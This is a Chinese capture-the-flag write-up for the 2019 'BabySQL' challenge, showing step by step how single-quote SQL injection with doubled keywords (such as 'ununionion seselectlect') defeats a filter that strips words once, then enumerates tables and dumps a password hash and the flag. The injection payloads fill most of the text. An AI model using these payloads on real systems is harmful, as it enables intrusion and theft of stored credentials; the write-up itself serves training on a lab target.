双写绕过 [极客大挑战 2019]BabySQL 1

打开题目

双写绕过 [极客大挑战 2019]BabySQL 1_第1张图片

随便输入账号密码

根据报错信息可知这是单引号的字符型注入

双写绕过 [极客大挑战 2019]BabySQL 1_第2张图片

那我们试试万能密码

1' or '1'='1  页面报错

1  or '1'='1 页面报错

而且根据报错内容显示是没有我们注入上去的or的

那我们就试试

1' order by 3 #

页面报错,根据报错显示页面过滤掉了or和by

那我们试试

-1' union select 1,2,3,4 #

根据报错显示页面过滤了union和select

那我们就可以尝试双写绕过

1' ununionion seselectlect 1 #

双写绕过 [极客大挑战 2019]BabySQL 1_第3张图片

报错显示有不同的列名

那就一个一个试吧

1' ununionion seselectlect 1,2,3#

页面正常

并且这里显示报错显示位为2,3

双写绕过 [极客大挑战 2019]BabySQL 1_第4张图片

1' ununionion seselectlect 1,2,3,4#

页面报错

双写绕过 [极客大挑战 2019]BabySQL 1_第5张图片

说明列名字段数为3

爆用户名和数据库名

-1’ ununionion seselectlect 1,user(),database()  #

双写绕过 [极客大挑战 2019]BabySQL 1_第6张图片

这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

-1' ununionion seselectlect 1,version(),@@version_compile_os #

双写绕过 [极客大挑战 2019]BabySQL 1_第7张图片

这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

总结一下就是

操作系统version_compile_os:Linux

数据库版本version():  10.3.18-MariaDB

数据库用户名user():  root@localhost

数据库名database():  geek

接下来我们查询geek数据库下的表名信息

-1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

我们发现informmation,where都被过滤掉了

双写绕过 [极客大挑战 2019]BabySQL 1_第8张图片

那我们对其进行双写

-1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

双写绕过 [极客大挑战 2019]BabySQL 1_第9张图片

忘记页面是过滤or了

重新换个姿势

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

双写绕过 [极客大挑战 2019]BabySQL 1_第10张图片

说明表名有b4bsql,geekuser

爆破列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

双写绕过 [极客大挑战 2019]BabySQL 1_第11张图片

爆破数据

-1' uunionnion seselectlect 1,2,password frfromom geekuser  #

双写绕过 [极客大挑战 2019]BabySQL 1_第12张图片

又忘记过滤or了

-1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

这下爆出了password为2ac772d9987993a29b85958839d4e468

双写绕过 [极客大挑战 2019]BabySQL 1_第13张图片

用户名为admin

双写绕过 [极客大挑战 2019]BabySQL 1_第14张图片

id为1

双写绕过 [极客大挑战 2019]BabySQL 1_第15张图片

尝试登录了一下用户名和密码,发现下面没有flag

那我们爆破b4bsql表下的列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

发现下面也有三个列名

双写绕过 [极客大挑战 2019]BabySQL 1_第16张图片

-1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

查看页面源代码得到flag

双写绕过 [极客大挑战 2019]BabySQL 1_第17张图片

双写绕过 [极客大挑战 2019]BabySQL 1_第18张图片

知识点:

常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

information_schema.schemata 获取所有数据库信息

表包含以下列:

  1. catalog_name:目录名称
  2. schema_name: 模式(数据库)的名称。
  3. default_character_set_name: 数据库编码。
  4. default_collation_name: 数据库排序规则

 

你可能感兴趣的:(sql,数据库)